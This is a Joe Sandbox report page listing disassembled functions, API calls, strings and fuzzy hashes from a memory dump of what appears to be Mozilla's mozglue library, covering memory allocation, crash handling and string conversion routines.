malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C612620,?,?,?,6C6060AA,6C605FCB,6C6079A3), ref: 6C61284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C612620,?,?,?,6C6060AA,6C605FCB,6C6079A3), ref: 6C61289A
free.MOZGLUE(?,?,?,6C612620,?,?,?,6C6060AA,6C605FCB,6C6079A3), ref: 6C6128F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C612620,?,?,?,6C6060AA,6C605FCB,6C6079A3), ref: 6C612910
free.MOZGLUE(00000001,?,?,6C612620,?,?,?,6C6060AA,6C605FCB,6C6079A3), ref: 6C61293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C612620,?,?,?,6C6060AA,6C605FCB,6C6079A3), ref: 6C61294E

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 319e5decb1d076d0bc9ce4c9c1be413c0c011c0b5f2cee073dde5aa84f36b793
Instruction ID: 0a605cbfd1866dd5d8d17289657182a9b820c8278e30d08c718c07d5f8167377
Opcode Fuzzy Hash: 319e5decb1d076d0bc9ce4c9c1be413c0c011c0b5f2cee073dde5aa84f36b793
Instruction Fuzzy Hash: D541E3B1A082068FEB10CF6DD88476A73F6EF86709F144939D556EBB40E731E908CB95

Function 6C5CCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5CCFF6
LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5CD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C5CD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C5CD139

Strings

MOZ_CRASH(), xrefs: 6C5CD187

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: cba536d2ba02b276fba1ed41b6ed77a5d7e8240a6fc8650655825d1741a8aebc
Instruction ID: 2fac27e8f5e00a607721c0f955d12e1d5946fc92ed836917d43d9958ae935023
Opcode Fuzzy Hash: cba536d2ba02b276fba1ed41b6ed77a5d7e8240a6fc8650655825d1741a8aebc
Instruction Fuzzy Hash: AD41D271B806168FDB04DEBD8CD036AB6B0EB49728F15813DE918E7784E7A19C018BC9

Function 6C5C4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5C4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5C4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5C4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5C4F1E

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 601dfcbc2dcf077442291a653e8ca372b30806d1a349b22207e5759126657155
Instruction ID: 6be4cd0dc52f321e40c28df5c7c27ce7b4093a5a1b8b34b4f657424f1ee08a0e
Opcode Fuzzy Hash: 601dfcbc2dcf077442291a653e8ca372b30806d1a349b22207e5759126657155
Instruction Fuzzy Hash: B341CF716047059FC705CFA9C880D6BBBE4BF8A344F108A2DF46687741D770E958CB92

Function 6C62A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64F770), ref: 6C62A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C62A87B

Part of subcall function 6C62A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C62A88F,00000000), ref: 6C62A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C62A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C62A90C
LeaveCriticalSection.KERNEL32(6C64F770), ref: 6C62A97E

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: f130e4b167392e5a0a05491c0468e58f842a3c93ddfe85ced0245d87e9aa5443
Instruction ID: b75e968b7ea80dad74cadaef3ba367511ac45c30d4f26e1c6a42a78d037b5dcd
Opcode Fuzzy Hash: f130e4b167392e5a0a05491c0468e58f842a3c93ddfe85ced0245d87e9aa5443
Instruction Fuzzy Hash: C241A1B0E002049FDB00DFA4D885ADEB770FF45324F10C629E82AAB791D7759945CF99

Function 6C5D1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D15E7
free.MOZGLUE(?,?,?,?,?,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5D152B,?,?,?,?,6C5D1248,?), ref: 6C5D1637

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 301f2c45091f70b6f127bac6c57c3b172ef9a40aa4145edabfc707bb9a1ab02b
Instruction ID: ea3c87e106b52efb8932c47b90a2c8e3cf02fab15e58c978f63bcdfc6c409434
Opcode Fuzzy Hash: 301f2c45091f70b6f127bac6c57c3b172ef9a40aa4145edabfc707bb9a1ab02b
Instruction Fuzzy Hash: C731B571A002148BCB18CE7CDC5046F77A9AB853747260B69E427DBBD4EB30F9048799

Function 6C62AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AD9D

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AE01
GetLastError.KERNEL32(?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C63E330,?,6C5EC059), ref: 6C62AE3D

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 66fd9493b73fef52ebb5b3c31a4a6d671fa55ad6d56a7dd366dfaf5c51822eb6
Instruction ID: 41751c7401ecb2d36266814ee83f08059e6ec9f429272db75513c1e5b4f388e4
Opcode Fuzzy Hash: 66fd9493b73fef52ebb5b3c31a4a6d671fa55ad6d56a7dd366dfaf5c51822eb6
Instruction Fuzzy Hash: DF3143B19003159FDB10DF758C44AABB7F8EF89714F158829E85AD7700E774A805CBA8

Function 6C625EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C63DCA0,?,?,?,6C5FE8B5,00000000), ref: 6C625F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5FE8B5,00000000), ref: 6C625F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C5FE8B5,00000000), ref: 6C625F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C5FE8B5,00000000), ref: 6C625F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5FE8B5,00000000), ref: 6C625FD6

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: d0c2ebec64f8d3216511bc1599234c0e54edef047e18bcb541f456785dfeae86
Instruction ID: 4627eefa38198e8ab0d4c455cacc0b2f5eb0702b6a88a0c58497a27cf5b47fef
Opcode Fuzzy Hash: d0c2ebec64f8d3216511bc1599234c0e54edef047e18bcb541f456785dfeae86
Instruction Fuzzy Hash: 1B31C934300A008FD724DF29C8D8A6AB7F9BF89319FA48558E5568BB99C735EC41CF94

Function 6C5CB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5CB532
moz_xmalloc.MOZGLUE(?), ref: 6C5CB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5CB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5CB57E
free.MOZGLUE(00000000), ref: 6C5CB58F

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 105945b913fb24082dcbc61b60f87cf07a4d71c53d550244d2540c594a299bc4
Instruction ID: 1cb3109b2fb7052d4671fa69d850a1f8efe7361b73bcbfc4d1a804cc92f35ae5
Opcode Fuzzy Hash: 105945b913fb24082dcbc61b60f87cf07a4d71c53d550244d2540c594a299bc4
Instruction Fuzzy Hash: EE21B971A002059BDB00DFA5CC40B6ABBB9FF85318F64416DE914DB341F775D915CBA2

Function 6C5CB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5CB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5CB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5CB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5CB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CB849

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: fce18fe95678617191100997addc781a54b71b3caf7fa24d4ef7008d39cc7020
Instruction ID: d30f59d0a4f585baff956fa5085e1462f25bf1d2342490495b0126b955077b5b
Opcode Fuzzy Hash: fce18fe95678617191100997addc781a54b71b3caf7fa24d4ef7008d39cc7020
Instruction Fuzzy Hash: 57216DB0E002199FDF04EFA9C8855FEBBB4EF49718F148129EC16A7340E731A944CBA5

Function 6C626E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C626E78

Part of subcall function 6C626A10: InitializeCriticalSection.KERNEL32(6C64F618), ref: 6C626A68
Part of subcall function 6C626A10: GetCurrentProcess.KERNEL32 ref: 6C626A7D
Part of subcall function 6C626A10: GetCurrentProcess.KERNEL32 ref: 6C626AA1
Part of subcall function 6C626A10: EnterCriticalSection.KERNEL32(6C64F618), ref: 6C626AAE
Part of subcall function 6C626A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C626AE1
Part of subcall function 6C626A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C626B15
Part of subcall function 6C626A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C626B65
Part of subcall function 6C626A10: LeaveCriticalSection.KERNEL32(6C64F618,?,?), ref: 6C626B83

MozFormatCodeAddress.MOZGLUE ref: 6C626EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C626EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C626EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C626EFF

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 0ff555f0ac71d1c835a62f2ab512025c3aa7bdceb56954891e0a466993afeb8b
Instruction ID: 779bbe58266bdca92aaf7e99a179174c43cc0affd74dec199996279633437937
Opcode Fuzzy Hash: 0ff555f0ac71d1c835a62f2ab512025c3aa7bdceb56954891e0a466993afeb8b
Instruction Fuzzy Hash: EF21B0B1A0421A8FCF10DF29D8C569E77F5EF84308F048039E80D97240EB749A598F96

Function 6C600D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5C3DEF), ref: 6C600D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5C3DEF), ref: 6C600D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5C3DEF), ref: 6C600DAF

Strings

<jemalloc>, xrefs: 6C600D92, 6C600DB9
: (malloc) Error in VirtualFree(), xrefs: 6C600D97, 6C600DBE

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 099c4191da5ef3e2cf950c4c535b65cb462e0cd697d7eae25b832234df36f4d0
Instruction ID: 091e2f8cb37f7c82ec7ed77d396a009379597004c00f5f8551dec656f7f63b12
Opcode Fuzzy Hash: 099c4191da5ef3e2cf950c4c535b65cb462e0cd697d7eae25b832234df36f4d0
Instruction Fuzzy Hash: D1F080313C079423D7582D665E06B6A379D67C2B55F34C035F604FADC0DAA0E400C67D

Function 6C625850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C62586C
CloseHandle.KERNEL32 ref: 6C625878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C625898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6258C9
free.MOZGLUE(00000000), ref: 6C6258D3

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 7a4695bf30b7568c1d1da829f54f17c118a8e39a14b94df6394bc99757be5a7e
Instruction ID: b3d2103850fc71e5f7dfe809d4b7b9b1fee9a86597f7fd5d465aab20d60d1719
Opcode Fuzzy Hash: 7a4695bf30b7568c1d1da829f54f17c118a8e39a14b94df6394bc99757be5a7e
Instruction Fuzzy Hash: 3D014F717041119BDF14FF1BD888A067BB9EBA332DF24C176E51AC2610D77698148F9E

Function 6C617620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6175C4,?), ref: 6C61762B

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6174D7,6C6215FC,?,?,?), ref: 6C617644
GetCurrentThreadId.KERNEL32 ref: 6C61765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6174D7,6C6215FC,?,?,?), ref: 6C617663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6174D7,6C6215FC,?,?,?), ref: 6C617677

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 0d891e73e6386eb1e628ec6dd9c2d17cf903fc433df08ed1737d73cec39d545d
Instruction ID: a198ff1556247dd7b30716fd8783c8ed0ee450216c1e2952227abdfd6df1263e
Opcode Fuzzy Hash: 0d891e73e6386eb1e628ec6dd9c2d17cf903fc433df08ed1737d73cec39d545d
Instruction Fuzzy Hash: 20F0C271E10B45ABD7009F32C888A7AB778FFEA299F128356F90443601E7B0B5D18BD0

Function 6C621700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C621800

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

Part of subcall function 6C5C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C603EBD,6C603EBD,00000000), ref: 6C5C42A9

Strings

Details, xrefs: 6C621925
{marker.name} - {marker.data.name}, xrefs: 6C6218C7
name, xrefs: 6C621939

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: fa0199c6dcdc55d61201a9da7304f490801e96d4d0846dff2d835b09fdbf25b9
Instruction ID: ea6ed940a62147d9f7cf45135c9f2c6e3c5d1de5e2e887ce9e9a46e19a692990
Opcode Fuzzy Hash: fa0199c6dcdc55d61201a9da7304f490801e96d4d0846dff2d835b09fdbf25b9
Instruction Fuzzy Hash: AE71E370A04306DFCB04DF28D4906AABBB1FF85304F408669D8154BB41DB75AA99CFE6

Function 6C5ED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

EnterCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED4F2
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED50B

Part of subcall function 6C5CCFE0: EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5CCFF6
Part of subcall function 6C5CCFE0: LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED52E
EnterCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED690
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED751

Strings

MOZ_CRASH(), xrefs: 6C5ED4BB

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 648b0c62094fff5cbba7bd47db1e0f0a3d6cee7ca5d2e2278e1026db14bc99b3
Instruction ID: 2b003cac30baf2af759a1fc2c1d4737b594f24eba15d151e9c9e47463cde73fe
Opcode Fuzzy Hash: 648b0c62094fff5cbba7bd47db1e0f0a3d6cee7ca5d2e2278e1026db14bc99b3
Instruction Fuzzy Hash: C951CF71A047018FD368DF29C89071AB7F2EBC9718F64C92ED5A9C7B85D770A804CB96

